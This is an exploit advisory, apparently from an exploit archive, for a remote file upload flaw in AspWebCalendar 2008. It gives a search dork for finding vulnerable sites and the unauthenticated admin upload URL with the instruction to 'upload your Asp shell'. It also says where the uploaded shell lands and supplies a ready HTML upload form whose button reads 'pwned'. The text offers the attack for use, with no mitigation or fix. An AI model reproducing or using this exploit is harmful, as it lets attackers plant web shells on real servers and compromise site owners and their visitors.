AspWebCalendar 2008 suffers from a remote file upload vulnerability.
30512f2028d4d4042386b1683e3556492d6b02e5395e4cb7f0f3a6cb4042fadd
Title:AspWebCalendar 2008 Remote File Upload Vulnerability
# Discovered by : Alemin_Krali
# Dork :calendar.asp?eventdetail
http://[site.com]/path/calendar_admin.asp?action=uploadfile ==>>> upload your Asp shell
http://[site.com]/path/calendar/eventimages/yourshell.asp ==>>> your address
upload form
<FORM ENCTYPE='multipart/form-data' METHOD='post' ACTION='http://HOST/PATH//calendar_admin.asp?action=uploadfileprocess&form=&element='><FONT <FONT COLOR='blue' >http://example.com/path/calendar/eventimages/</FONT></FONT><BR><INPUT TYPE=FILE SIZE=56 NAME='FILE1'><BR><BR><INPUT TYPE='submit' VALUE='pwned'></FORM></P>
Sp thnx:Cr@zy_King Kerem125 Jextoxic Abo Mohammed